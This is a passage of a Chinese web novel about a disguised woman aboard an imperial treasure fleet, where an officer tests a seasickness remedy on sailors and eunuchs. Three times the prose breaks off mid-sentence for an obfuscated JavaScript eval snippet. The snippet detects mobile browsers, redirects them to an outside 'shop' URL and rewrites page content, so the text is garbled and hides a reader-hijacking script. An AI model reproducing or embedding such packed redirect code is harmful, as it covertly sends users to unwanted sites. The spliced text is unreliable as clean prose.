他的语气是谦卑的,看过来的眼神中有一抹难以忽视的艳羡之情,崔大野又提起了那天,“那日当真是凶险呀,话说薛生你的伤如何了?” 薛誉闻言,不由自主地摸上自己的右大臂。 “薛生?” 崔大野见她怔怔的,像是深陷某种回忆无法自拔,抬手在她眼前晃晃,面上几分担忧道:“薛生你没事吧?” “哦……”薛誉回过神来,“没事。我的伤也没事。” 这几日过度忙碌,忙得薛誉无暇去想那个被自己亲手杀死的人,好不容易今日“空闲”下来,又被那天的另一个亲历者询问,一股说不清道不明的空茫感涌上心头。 一个人。 她亲手杀死了一个人。 不是鸡鸭鱼,而是一个人,一个与她一样的、活生生的人。对方被她捅了之后,不断地哀嚎着,鲜血直涌,喷得船工服上、脸上、手上到处都是……薛誉神经质地抬手擦脸,又低头看手,把手翻过来翻过去地不厌其烦地看。 有点想呕。 她强行压下,就像那天被那个林阴阳官的脑浆溅到脸上之后强压下呕意一样,“怎么问起这个?” 崔大野:“是刚才我见到了另一个‘勇士’,他在打听是谁最终找到了淡水岛。” “哦是这样啊。” 憋了一会儿,崔大野忍不住道:“薛生你真聪明,竟然那么快就找到岛了。” “运气运气。” “薛生你真是过于自谦了,以弟看来,从此薛兄的未来坦途一片。毕竟薛兄你已得了千户大人的青眼啊!若有用得着小弟我的地方,一定不要客气。若是……”他讪讪笑了笑,不太好意思地继续道:“若是来日富贵,勿相忘啊。” “一定一定。” 其实薛誉的思绪已然飘远。这人说的也不全是奉承话,在这支船队上,方意不仅仅是作为一个千户存在,他更像是那位正使沈督公的化身,比天佑号上的副使更有存在感,权利也更大。 不该躲懒的,薛誉懊恼地想,原身身份可疑,这时候如果船上有个有分量的人信任自己,她的处境才会更好。“我先走了。”薛誉忙忙作别。 回了舱房。 一进去,仍是黑洞洞的,那点来之不易的光线也只有白天才能享受到。薛誉心里仍乱着,她没有点蜡,只是脱了衣裳,上了床,怏怏地闭上双眼。 好一会儿后,均匀的呼吸声响起。 “我、我没看错吧。”一道低到近乎可以忽略的话音在舱门后响起,迟疑着、迟疑着,一个人影立起。 影子懵懵的,顿在原地摸摸自己的头,又触触自己的眼,盯着床头好半晌,才游魂似的飘也飘出去。 10. 防晕药 薛誉对昨晚之事浑然不知,睡得还算安稳。 接下来的几天里,她除了值班再无其他事要做——不仅千户大人不来使唤她,就连邻居帕查雅也整日整日闭门不出。一开始只觉得“幸福”,慢慢地,坐立难安起来,不会是出了什么事吧……这个念头一出,薛誉即刻来到隔壁舱门外 迟疑地扣扣门。“在吗?” 没人应声。 又敲了敲,还是没人应。薛誉犹豫着,上前两步,贴耳细听。 可走廊以及其上的甲板嘈杂非常,喝号子的、高高低低的交谈声、走动奔跑声还有宝船破浪声……显得隔壁舱房安静极了。许多不详的场景一一在薛誉脑中闪现。 顾不了那么多,她心一横,退开几步,侧身以肩膀去撞门,想把门撞开。 当然失败了。 却不是全然无用,至少里面的人被惊动了,拖沓着脚步走来。门毫无征兆地大开,正要再一次发起冲锋的薛誉就这么摔进门内,行了个三拜九叩的大礼。 受礼者顿了顿,没什么反应地转身,拖拉着脚步往板床边去。 没说话,更没扶人。 薛誉踉跄着站起,室内暗黢黢的,只隐约看见板床边立着个人形,腰背颓着,失魂落魄的,那是帕查雅?薛誉怀疑自己走错地了。 不仅如此,屋里还有一股说不清道不明的奇怪味道,动物体味混着粪便发酵,不像舱房,倒像……像养鸡场,薛誉蹙眉掩鼻。 “有事吗?”床边的人形疲惫出声,“没事出去。” “你,你怎么了?” 薛誉逐渐适应屋里的光线,这才看清帕查雅不是自己孤零零地站着,而是揽抱着那只雌孔雀,孔雀脑袋无力垂在帕查雅肩头,一如那日。“它……” 只一字,薛誉便闭口不语,她想起那只死在野人岛的雄孔雀,看来这只也步了后尘。 怔怔地立着,薛誉不知说些什么好。 “啊喔——” 短促的一声叫,奄奄一息的。却叫人松口气,原来没死啊,“它生病了吗?” 帕查雅慢吞吞地起身,来到薛誉跟前,距离太近,一股刺激性味道扑面而来,熏得薛誉窒息一瞬,眼睛连连眨动。 “没事就出去。很烦。”帕查雅重复。 暗色中,她烦躁非常,薛誉定定心神,“去看过大、大夫了嘛?”说到一半,才想起来孔雀应该看兽医。 “这里的人通通是废物!” 薛誉:“……医官说什么?” “说它晕船!”帕查雅一扫厌烦的神色,分外激动道:“它跟我到野人岛的时候就是乘船到的,那时候怎么不晕?还治不了,废物。” 想起晕船晕得一塌糊涂的温老太医,薛誉无奈道:“那确实没办法。”说到一半,忽然想起来什么,她打开自己的系统商城。 【防晕药:9积分1颗,时效:2个时辰】。 也太坑了。 正要咬咬牙买下,忽然又看见另一个【防晕药方:499积分1份,时效:永久。】 看看隐形的光屏,又看看脸上有带泪痕的美人,薛誉无声地叹气,然后买下了药方。“我有办法。”有气无力的,真肉疼啊。 “你有办法?”对方复读机似的重复一遍,猛然提高音调道:“你有办法?!” “嗯。” …… 等两人从温老太医那儿回来,帕查雅一扫颓色,满面难言的欣喜,甚至于两天后千户大人来“找茬”,她也和颜悦色的。 惹得方意沉思好一阵才道:“鬼上身了吧?” 帕查雅翻翻白眼。 “看来还是原装,”方意放心道:“再过几日就到安南了,你就别下去了,省得再生什么事端。” 帕查雅摆摆手。“我还懒得下去。” “那太好了,”方意笑着抚掌,看向一旁的薛誉:“你这回就在船上陪着她,等送走‘瘟神’再说。” 瘟神气哼哼地不说话,一脚踹上门。 把薛誉和方意一齐关在门外。 险些被撞歪鼻子的方意:“……”此时正是清晨,该去舵楼上值,薛誉一边走,一边回答跟在身侧的千户大人的问话:“她怎么了?” 薛誉将这几日发生的事一一讲来。 “防晕药?”方意只抓住了这个字眼,“当真有用?” “对孔雀是有用的。” “这样,你把方子给医官,令他找至少十个晕船的,用他们试药,之后找我汇报。” 薛誉有点懵地点头。 “如果行倒是可以给督公送去。”后面这句是以极低极低的音量说出来的,薛誉顿悟:是噢,千户大人说过那沈督公也晕船。她怎的就没想到呢? 只是药还没试完,安南到了。 其实船队第一站本是暹罗,可临出发前,安南旧主逝世,其子继位。作为宗主国,天朝理应遣使至此。 于是有人便提议:既然船队路经此地,一并办了,岂不节省人力物力财力?皇帝一想也是,便将第一站改成安南。 也正是因此,船队不会停留太久,按千户大人的话说就是:“弹丸小国,停留一日也足够使这里蓬荜生辉了。” 落在薛誉耳中就是放假了放假了! * 船队停泊入港的那天清晨,隔壁还在睡,薛誉悄悄来到甲板上,下网捕鱼。 也不是闲得蛋疼,主要为了弥补少解锁一个地图的积分。这里应该会有特色物种吧,能多挣一积分是一积分,毕竟刚损失了499。 下了几网,李逵来了,冲薛誉憨憨地笑笑:“你要吃什么?俺给你捕不得了。” “不用,我正好练习练习。”额上汗津津的。 “哎呦好多小黄鱼!俺看你这技术是越来越好了。” 薛誉把鱼都倒入木桶中,抹了一把汗,笑道:“都是李大哥教得好。” 岂知李逵听了这话,左看右看,上看下看,确定此处再无别的男性,指了指自己,惊异道:“李、李大哥?俺什么时候改名了?” 远处传来一声毫不掩饰的嘲笑。“小鱼,你怎的随意给人改姓?” 是千户大人。 他眼含笑意,款款而来。 “大人没下船?”薛誉脚趾扣地,努力转移话题。 “没啊,试药马上试完了,我得盯着,确保这马屁我亲自去拍。不过……”他饶有兴趣地瞭一眼薛誉:“你为什么叫人家‘李’大哥呢?” 两个人、四只眼一齐看薛誉。 “……” 薛誉被盯得脸颊渐渐浮上一层薄红,顾左右而言其他道:“那药试成功了吗?” 千户大人也不管李逵到底姓赵钱孙李还是周吴郑王了,皱皱眉,头疼道:“我正要去处理这事。这药说不上成功也说不上不成功。” 薛定谔的成功?薛誉不明所以道:“此话怎讲?” “既然药方是你献上的,你便跟来看看吧。” 路上才得知真相,那药试死了个人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182684|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛誉反反复复、来来回回地念叨同一句:“怎么会呢?怎么可能会吃死人呢?”如同一个绝望的老实人。 “可能药方有毒,” 薛誉幽幽看向千户大人。 后者耸耸肩,“不过既然其他九个试药者没死,这个可能性暂且排除。” 薛誉:“大人您说话能不能不要大喘气!” 方意笑眯眯地道:“还有可能就是这个试药试死的得了其他什么病,这事儿是赶巧了。” “也有可能是他对这药方里的某味药过敏?”薛誉顺着千户大人的话思考。 方意扶额: “你这话千万别叫温仁听见了,不然他肯定会气得吹胡子瞪眼,然后说:老夫行医一辈子,上至权贵,下至庶民,你居然说老夫医术不行?!简直岂有此理!” 虽然薛誉只见过温老太医两面,却知千户大人这话模仿得惟妙惟肖。 最后一丝紧张也被冲淡,好奇油然而生,她问:“大人和温医官很熟?” 方意双手环胸,嗤声道:“不熟。但督公和他挺熟的,据说……”他想了想道:“据说温仁对督公有救命之恩。” “噢。”这样。 两人继续走,到了甲板下面的货舱中。 ——试药,一种不拿人命当命的行为,自然不会放到明面上,甚至这件事都是瞒着温老太医来的,“那是个老顽固,肯定不同意,”那时的千户大人一锤定音道:“但他在督公面前说得上话,不能叫顶头上司为难。”于是出此下策。 货舱的环境不太好,但也还行,毕竟储存的东西不能坏,环境自然不能太恶劣。那九个人见到来人,纷纷出声唤:“方大人。” 又敬又怕。 也是,毕竟死了一个人。而那个死人还在货舱里,就大咧咧地摆在边上,脸朝下,身体呈大字形,倒在货舱犄角旮旯的一小块空地上,而周围的空气里隐隐有了尸臭味,方意朝尸体努努嘴:“小鱼,你去看看。” ……当她是庙里的菩萨?“我不会看病。” “行吧。” 千户大人一脸遗憾,指使九人中的一个去请医官,“别劳烦温老太医了,悄悄找个医官来。” 医官来了又走。 听到诊断结果的方意大为满意,这人的死与防晕药完全无关,他笑盈盈地替这具尸首找到了去处:“喊两个力气大的,把尸体丢海里,省得臭了货舱。” 用完就扔啊,薛誉咂舌。 等两人回到甲板上,帕查雅姗姗来迟,正倚着舷栏望大海,毫无意外地,那只雌孔雀慵懒地靠在她怀中。 “吆,”方意远远地笑着打招呼:“这是起了个大早啊。” 帕查雅闻声回头,见方意那副欠揍的笑脸,随即怒目而视。 “他问你早上好。”薛誉忙解围。 帕查雅:“没这么短!他说了好多字!” 方意双手环胸,站在薛誉旁边“啧”了一声:“她能听懂我说的,我也能听懂她说的。” 确切来讲,是帕查雅的话落在方意耳中是一种陌生的语言,只是他能理解话中的意思。不然那次大树下的对峙是怎么来的。 “……” 一个缓缓的问号在薛誉面上浮现,“那我以前好几次给你们当翻译,你们也不阻止我,算什么?” 千户大人作深思状,良久后笑言: “算你闲得慌吧。” 薛誉眼前一晕,差点气厥过去。这两个人就这样把她当臭狗一样玩耍! 11. 沈督公其人 第二日,使者团归来,船队正式起航暹罗,与此同时,方意开展了新一轮的试药,规模扩大到一百人,其中大部分是二十来岁的太监。 这次试药持续了十日,非常成功,没有任何意外状况发生,每一个试药者的晕船情况都有不同程度的缓解。 ——可以献给督公了。 方意来舵楼上找薛誉时,后者正埋首整理日志,阴阳生的日志每日一交,月底还要编纂成册再提交一回,以备查询之需。 “大人?!” 薛誉被冷不丁靠近的人吓了一跳,不禁炸毛道:“人吓人,吓死人呀!” “唔,”方意弯腰低头,两人有一瞬的对视,他笑盈盈地道:“那让我看看,小鱼被吓死了没有?” “自是没有,小鱼的胆子还没那么小。”薛誉道,“就算被吓到了,鱼的记忆也只有七秒,很快就又忘了。” 方意若有所思道:“是吗。” “大人找我有事?”薛誉又扫视一遍日志,确认无误后,开始将这一月的所有日志汇编成册。正给日志按日期排序,一双强硬的手瞬间来袭,将纸张全部夺走,扔至一旁的桌上, 手的主人道: “让别人帮你整理下吧。有要事。” 公事公办的强硬口吻。 薛誉就这样被强拉硬拽走,走之前只来得及匆匆喊一声:“崔生,辛苦你帮我收一下。” “好、好嘞。” 等来到甲板上,早有人等在此处,“方大人,现在放船吗?” 方意一昂首,“放。” “是。”这人是个熟手,得令后不过灵活地升降了三两下吊绳,一只小艇已经被安然放置到舷侧的海面上。 一旁的薛誉后知后觉道:“要出海?” 方意点点头,“拍马屁去。” 这次的试药规模太大,薛誉早就有所耳闻,因此马上便反应过来了,只是有点惊讶:“那叫我做什么?” 方意一面往小艇里下,一面仰面看来,几分坏笑道:“万一不对督公的症状,我这不得先提前给自己找个背锅的吗。”他顿了顿道:“当然了,万一很有用,那就不用你了。祈祷吧。” “祈祷祈祷。”这锅可背不动。 后半句声音很低,方意听得朗声一笑。 放船的船工也顺着缆绳滑下来了,恭敬道:“请坐好。” 小艇开了。 划过十来艘大宝船,才到了目的地,天福号。 这次出航的宝船大都是“天”字号,象征着天朝向四海扬威之野心。 一上岸,便有锦衣卫嘻嘻哈哈地来跟方意打招呼,方意只带着薛誉快速略过这些人,来到了尾楼一间舱室前。 侍立门口的小太监看着眼熟,薛誉仔细想了想,大抵是在野人岛上有过一面之缘。 “劳烦通报声。”方意道。 小太监领命无声入内。 不一会儿,舱门开了,小太监压低声音道:“二位请进吧。” 一进舱门,一道欢快的声音在耳畔响起:“方意!方意!”薛誉惊讶抬眼,左右望望,觑见门边有座梨花木架,其上立着一只色彩斑斓的神气鹦鹉,它扬了扬翅膀,显然看见来人很开心,叫唤道:“来啦!来啦!” 方意笑抚了抚它的头。 “聒噪。” 舱房里面传来懒懒的一声。 欢快的鹦鹉顿时蔫巴了,缩成一小团,不再做声。 “小福子,把它领出去玩会儿。”方意朝前边带路的小太监挥挥手。后者在木架子周边摸索出来一只鸟笼,让鹦鹉钻进去后,提着笼子出去了。 屋里很暗,薛誉跟在千户大人身后走得磕磕绊绊,总算是来到了里间。 豁然开朗。 里间虽然也没有点灯,却有采光通风用的舷窗。此时窗子大开,冬日的冷风从海上呼呼吹来,但屋里一角生着一只大暖炉,火烧得很旺,暖和得让人直打哈欠。 “哈——” 那道懒洋洋的声音再度响起,说话之前先打了个长长的、疲懒的哈欠,才道:“有事?” “回督公,一切都好,只是属下最近新得了一个药方,”方意说着上前几步。 却被喊停道:“边上靠靠,碍事。” 碍、碍事? 此言一出,薛誉震撼地偷偷觑去几眼,自从她被救上天佑号,千户大人便是最说一不二之人,何曾有过这样的时刻。 “挡住那只投壶了。” 方意依言往边上让让,笑言道:“督公今日精神倒是见好,有这样的雅兴。” “勉勉强强吧。” 一支箭矢飞来,擦过方意身侧,“当啷”一声,稳稳地掷进后面的投壶里,“你刚才说药方,什么药方?” “是一记能有效缓解晕船的方子,属下便想着给督公试用试用。” “有心了。” “那属下便去让船上医官煎了送来。”方意作势要走,却被沈轻玉喊住: “等等。” 顿了顿,对方道:“上次上岸时,我听说温老太医晕船得厉害,这样吧,你着人煎了药每日给送去。” “……是。” 方意这声回答有所迟疑,若不是薛誉知晓其中具体情况,定然也不会察觉到什么。 等两人退出去,薛誉想起最后那个小插曲,不禁担心道:“督公不会知道温医官不肯用药的事儿吧……” 一百人的试药确实声势浩大,没能瞒过同在天佑号上的温仁,对方医者仁心,吹胡子瞪眼地喝令道:“今日老夫就倚老卖老,这个试药必须停!” 方意不可能听他的。 自然,对方也不肯用这种“伤天害理”的汤剂了。 方意耸耸肩:“现在当然知道不了。” 难道天佑号上哪个皮痒了?不过等船队到了暹罗,估计纸就包不住火了。方意摸索着下巴:“你说怎样才能让温仁不告状呢……” 他习惯性地摸上绣春刀刀柄。 “……温医官不是督公的救命恩人吗。” 方意理所当然地点点头,“是啊,”然后看看自己的刀,又看看面无表情的薛誉,惊奇道:“你以为我要杀人灭口?” 薛誉:“……” “好了,”方意敛了笑容,“你先去小艇上,我去去就来。”说罢,转身寻天福号的医官去了。 一去就是两个时辰。 待划桨回到天佑号上,已近傍晚,海上一轮硕大的落日,船工在金色的余晖中收船,挥汗如雨。方意则袍角生风地直奔尾楼。他案上公务积压如山,几乎每夜燃烛到天明。 再想想那位沈督公,薛誉暗暗咂舌,完完全全一个纨绔子弟。 ——当然,说一个太监是纨绔子弟,多少有点戳人痛处,而且还是最痛的痛处的嫌疑,但薛誉没有别的意思,这四个字最适配,仅此而已。 上舵楼,取走日志册,薛誉回了舱房,随手一翻,日志册顺序得当,一些微微泛卷的页脚也被细细地压平整了,可见崔生做事之妥帖。 想起对方一身书生气,却也报名了勇士,想来志向不小。 今夜无月,海上黑漆漆的,甲板之上时不时传来极具节奏的锣鼓声,是在指挥后船,海上这么些日子,薛誉早已熟悉,伴着铜锣鼓点入睡,也别有趣味。 “咚咚——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190952|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声突兀的不和谐之声。 “谁?” 薛誉起身披衣,欲下床开门。 不速之客却已闯入,进来之后,一面朝薛誉作嘘声状,一面鬼头鬼脑地扭头探查屋外走廊,十分警惕,好一会儿都没什么异动,对方这才放下心来,“砰”地闭上门。 薛誉望着来人,一时间没有动作。 胸前衣襟微敞,莹白一片。 “你今天去哪儿了?我等你等了一天!”熟悉的带着微微质问的专属于帕查雅的口吻。 薛誉叹口气,左右手交拢,将衣裳穿好,“找我做什么?”她翻被下床,想去挑一下灯芯,好让屋里明亮些。 也让不速之客的来意明亮些。 谁知, “我来!” 帕查雅几步奔过来,摁住薛誉的肩膀,拍了拍到道:“此等小事,我来就好!”小心端来烛台,置于床侧。 喷薄的呼吸间,烛光不住跃动,两道人影在舱壁上忽大忽小。薛誉立即警觉地觑去来人,这么殷勤,她好害怕…… 果然,帕查雅期期艾艾地开口道:“你帮我回家吧。行嘛?” 帮帕查雅回家? 船队早就答应的。 “行”就要脱口而出,薛誉狐疑起来,不对!肯定没她想得那么简单,出于谨慎,薛誉抠字眼道:“帮字何解?” “就是……” 帕查雅一通解释,让薛誉痛苦地闭上了眼。 后者难以置信道:“让我替你回家?恕我失礼,你的家人莫非都有眼疾不成?”高矮胖瘦、身材容貌各不相同的两人,如何能够错认? 帕查雅却嘀咕道:“差不多。”双手比划着:“大差不差吧。” 薛誉连连摆手。 差得太大! 除了人种、性别还有一样的地方吗? 不对,其实性别也不一样。 “这件事,我真的帮不了你。” 拒绝得如此果断,帕查雅一脸不可置信,仿佛看到日头从西边升起、晴天一道霹雳。 那次方意在古树下说“你倒是给自己骗了个耳根子软的”,帕查雅其实打心底里也是这么想薛誉的,今日确是未曾料到…… 三两步奔到薛誉身旁,她附耳说了句话。 薛誉大惊:“你是如何得知的?” 帕查雅得意道:“哼,凭什么告诉你。” 薛誉惊疑不定地看着对方,心想: 莫非温医官说的? 又觉得不可能。帕查雅去找温医官给孔雀看病时,自己都在,而且,温医官都答应了自己,不会出尔反尔。 薛誉自然不知道,是某个夜晚,自己自舵楼上与崔大野聊天归来,心烦意乱之下未曾点灯就脱衣而眠,这才被守屋待鱼的帕查雅发现女扮男装的秘密。 “我……我这就去找方大人自首!”薛誉咬牙说了这么一句,起身就要往屋外奔。 女扮男装和坏了方意的计划,孰轻孰重薛誉还是分得清的。 前者大不了被扔下船去,后者估计就是一道银线飞过,“唰”地一声后,自己尸首分离。 帕查雅震惊了。 宁愿找揍也不愿跟自己合谋?帕查雅恨恨一跺脚,跑回隔壁舱房中。 看来,得另想个计划。 …… 走到方意房门前,被凉凉的海风一吹,薛誉堪堪清醒,要不还是别坦白从宽抗拒从严了,被告状了再说。 他不问,就不说,他若问,就惊讶。三字真经嘛,应该也适用此处的。薛誉定了心神,转身欲走,身后门却开了,微醺的带着疑惑的语气传入耳畔: “……小,小鱼?” 12. 第12章 月光下,舱门大开,锦衣少年背光立在门口,微微歪头,不解道:“你来这儿做什么?” 薛誉暗道了声倒霉,极缓慢地转身,“来、来……”眼珠转动,忽然想到什么,“找日志本!白天在舵楼上未曾整理完的日志本!” 说着,底气渐足。 “噢,”方意艰难思索一会儿,摁压两下太阳穴,蹙眉道:“我想起来了。” 还不等薛誉松口气, 下一瞬就听对方道:“整理好了吗?我看看。”他伸手来拿。 薛誉是来坦白从宽的,怎么可能会带这种东西,她有点懵圈,僵在原地。 “咚!” 被敲了个脑瓜嘣儿,薛誉吃痛捂头。 抬眼的瞬间与方意那双带着促狭笑意的眸子正对上,这下还有什么不懂的。 方意嗤道:“笨。” 这么笨还想跟他耍心眼? 心里藏着事的薛誉哪有争辩的心思,忙应和:“笨,那笨人先告退了。” 身后的方意无可无不可地“嗯”一声。 走了没多远,薛誉匆匆折返回来,对于帕查雅的计划终归是难以放心,旁敲侧击地问:“船队还有多久到暹罗呢大人?”——船队还有多久送帕查雅回家呢? “十日左右,怎么……?” 薛誉忙道:“没什么没什么。”不过是想提前有个防备罢了。 方意狐疑道:“有事瞒着我?” “不敢不敢,锦衣卫面前还能有人有秘密吗。” 方意哼笑一声。 他张开双臂,身上若有似无的酒气被夜风带走,薛誉透过他臂膀,往他身后舱房中看去,书案上仍有一堆公文,左右两摞,高度之高能把人深深地埋进去。 “怎么,你想看看上面写了什么?”方意伸了一个长长的懒腰,低头问。 薛誉忙将视线收回,摇头如拨浪鼓。转移话题道:“大人是因为公务过多才喝酒?” 方意不答反问:“今天是什么日子你知道吗?” “……我只知道后天是除夕。” 他脸上表情淡淡,“今天是我姐姐的忌日。” 薛誉短促地“啊”了声,“那、那节哀啊大人。” “节什么哀节哀,有些人活得辛苦,死了反而是享福。是吧?”方意顿了顿,“是……吗?”却罕见地面露迷惑之色。 “我不知道,大人。”薛誉想了想,极诚恳地道。 方意从那种奇怪的状态里回神,随口一问:“你呢?你有什么兄弟姐妹?” “有一个弟弟。”薛誉仍在思索,从小到大经历过的最痛苦的事就是穿越,但即便如此,她也没想过去死,想了好一阵儿,薛誉说:“但活下去,说不定就有峰回路转柳暗花明了。” 方意诧异地瞭她一眼。 后者点点头,自顾自坚定道:“就像我漂在大海中,多绝望啊,但总归最后是被上天眷顾了。”上船之后,日日夜夜担惊受怕,总怕被枭首或抽鞭子,但慢慢地感觉也没一开始相像得那么糟了……? 后半句只在心里想想,没说出来。 方意叹道:“有些人去死,不是自己想死,是被活活逼死的。”他疲惫地挥挥手,“走吧。” …… 过了几日,贴身伺候沈轻玉的小福子来了,一脸喜气洋洋,“方大人,您上次给的药方子督公十分受用,现在晕船之症已然大好了!” 方意笑笑:“那太好了。” “将东西都给方大人放这儿吧。”小福子冲身后几个膀大腰圆的船工挥挥手,又扭脸道:“督公给您的一些小玩意儿,”他左右望了望,疑惑道:“那日跟着您的那个小跟班呢?” “舵楼上值班。” “哦?”小福子收回目光,目露惊奇之色,“竟是个阴阳生吗?既懂观察天象,也懂医术?方大人这里果然个个是人才。” “你不是想将人给督公要过去吧?”方意似笑非笑地道。 “我要,大人就给吗?” “自是不给。” 小福子摆摆手,“跟方大人说笑罢了,您的人就是您的,就是督公来了,也不能强要不是?” 方意似是沉思一瞬,“督公来了,还真能强要。毕竟我也是督公的人不是?” 这话俏皮,两人当即一同笑了。 “其实,不过是督公也给了那小跟班些赏赐罢了。既然他不在,就劳烦方大人帮忙转交吧,”小福子抚抚肩上的蔫巴鹦鹉,“这小东西自从那日被督公嫌弃了一回,这几日都蔫蔫的,真是个小没良心的,督公供它吃供它喝,这般小心眼。” 方意挑挑眉,“这是带它散心来了?” “是啊,毛都掉了好些。”小福子叹口气,“我这便走了,回去盯着督公的药。” 临走前,小福子问:“还有一事督公专门嘱咐过我,温老太医的晕船之症可有好转?药方对不对他的症状?” 方意默了一瞬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209135|196660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我一会儿去看看。”又补充道:“若有特别情况,必亲去和督公汇报。你且令督公放心。” 小福子不住点头,“那便好那便好。督公重恩情,就劳烦方大人上心些了。” 待他走了,方意找去医务室。 温老太医正伏在案上写药方,写完之后拎起来,吹干墨,拿到两个小医童跟前,“照着方子给老夫抓一幅药。” “是!”两个小医童吭哧吭哧搬来大板凳,昂着小脑袋在一整面药柜格中寻找方子上的那几味。 找到了,就小心翼翼地爬上板凳,开药格去取。方意来的时候,正赶上小医童春生取完,献宝似的拿到温老太医面前,温仁一开始还挺乐呵,看到最后一味药时大怒, “上次黄芪就找成了苦参,这次又是!你真是老夫教过的最差的学生!” 春生只有六岁,闻言瘪瘪嘴,要哭的模样。 温仁:“以后病患生病了,你能给哭好?!给老夫……” 方意象征性地敲敲门,迈步进来。温仁顿了顿,道:“好了,小秋水,带着小春生先下去。” 两个小医童诺诺应是,出门之前不忘给贵人行礼问好,小春生的脸颊上甚至带着两滴泪。 “温老,”方意走到书案旁,将一盅新熬好的药剂放至温仁面前,殷勤地给他掀开,甚至配了几种蜜饯放在一边,轻声慢语道:“督公十分关心您的晕船之症,今日特派人前来问话。这汤剂您不看僧面看佛面,便用了吧。” 温仁重重“哼”了声,低头去写方子。只是面色因为晕船已久隐约有了灰白之色。 方意碰了个软钉子,仍是笑盈盈的,温言软语劝了好久。 可别说让对方喝药,便是让对方开口说一个字都难如登天。 医者仁心,看来他的试药之举是将人得罪个彻底。 听到这个消息的薛誉略有不解:“明着不喝,难道不能暗地里来?比如,将药熬进汤或粥里,这样温医官不就在不知情的情况下用了吗。” 方意无语:“我让他喝药,是不想挨督公罚。” “哦。” 原来千户大人并不在意对方喝不喝药,只是担心对方闹去那位面前,让事情不好收场罢了。薛誉摊摊手,“那就没办法了。” 她有点好奇:“那督公会因为试药罚你吗?” “……你猜。” 薛誉囧道:“猜不到。”谁能知道那样一位懒散的“纨绔子弟”究竟如何为人处事。 13. 暹罗 “不过温仁是医官,”方意琢磨着道:“想不让他察觉出来,有难度。” 也、也是。 即便如此,这个法子还是被采用了。除夕夜,方意命厨娘做了一盅滋补的药膳,让薛誉亲自送去,他说:“我上次亲自去送,那温仁一个字都不屑跟我说!这回,你且试试。” 省得再热脸贴冷屁股。 薛誉:“……好的。” 她去了。 结果……都不等温仁尝,那两个小医童站得远远地,药盅盖一被掀开,便昂着小脸细闻了闻,高兴道:“菖蒲、首乌……好多种药材!” 温仁难得笑呵呵地道:“对了!这几日还算用功,今夜便玩去吧。” 小医童:“好耶!” “别冲撞了别人。”温仁看着两个小崽子当即不管不顾地往外冲,忙在后面喊,得来了两句遥遥的:“是。” 他转向薛誉,一手颤巍巍地捋捋花白胡子,“这是何意?” 薛誉转转眼珠,只说是从厨房讨来的,丝毫不提方意,心想这回对方能试试了吧。 温仁哼了声,将药盅推远些,“老夫可不喝这种染着人血的药!” 动作之大,险些将药盅打个翻倒。 薛誉惊呼一声,再看他时,带着一丝惊慌失措。 “老夫可没说什么!不要做那副神态!”他转念一想:“该不会是那方千户叫你来送,老夫不喝便要罚你吧?” 薛誉迟疑一下,嗯嗯点头。 温仁猛地拍了下桌子,额头青筋暴起,“老夫早就听说船工们动辄就被打骂,现在看来恐非谣传。” 最终不得已将药膳喝尽,“行了行了,快走快走。” 薛誉完成任务,心情很好地哼着小曲,毕竟温医官还答应了以后只要是厨房送来的,便会喝完,也算日行一善了。 谁知道,“报应”很快来了,不过不是薛誉的。 ——督公知道了温仁并没有喝药,还知道了方意用一百个太监试药的事。当即命小福子来监刑,打了方意二十板子。 不多,敲打而已。 以锦衣卫的体格,甚至都不用卧床养伤。 方意平趴着,上身赤裸,道道红痕映在精壮的肌肉上,板子打得不重,没有血肉模糊,只是又红又肿,像是被人扇的,有种异样的凌虐感。 他自己反手涂着药膏,一面涂,一面咬牙问:“你那天到底是怎么跟温仁那老匹夫说的?” “我、我就说,”侍立一旁的薛誉轻咳一声,罕见地心虚道:“药膳是厨房给的,喝了对身体好。” 方意哼了一声,“是实话吗?”不知是触到哪儿了,语调陡变,一种火辣辣的痛感从背部蔓延开来,他冷冷道:“先出去吧。” …… 船队漂泊在海上,这个新年过的没什么年味,而且暹罗就要到了,天佑号上上下下都在为靠岸做着准备。除了方意。 自从被督公打了一顿板子,千户大人从此诸事抛却,每日只端着汤药去温老太医那儿“负荆请罪”。 “不喝!” 温仁理都不理,甚至不让他进门。 这回就连薛誉也不提建议了。上次那个主意害得对方结结实实挨了顿打,现在哪儿还敢往上凑。 不过很快,僵局被春生、秋水两个小医童打破。 照温老太医的话说,大人的事,两个小崽子没必要掺合。 所以春生、秋水根本不知道方意到底是来做什么的。一日,温老太医不在,春生熬着熬着药忽然惊呼一声:“呃啊!” 见秋水望来,春生大眼睛瞪得溜圆:“完啦,一会儿可能要害你挨罚。” 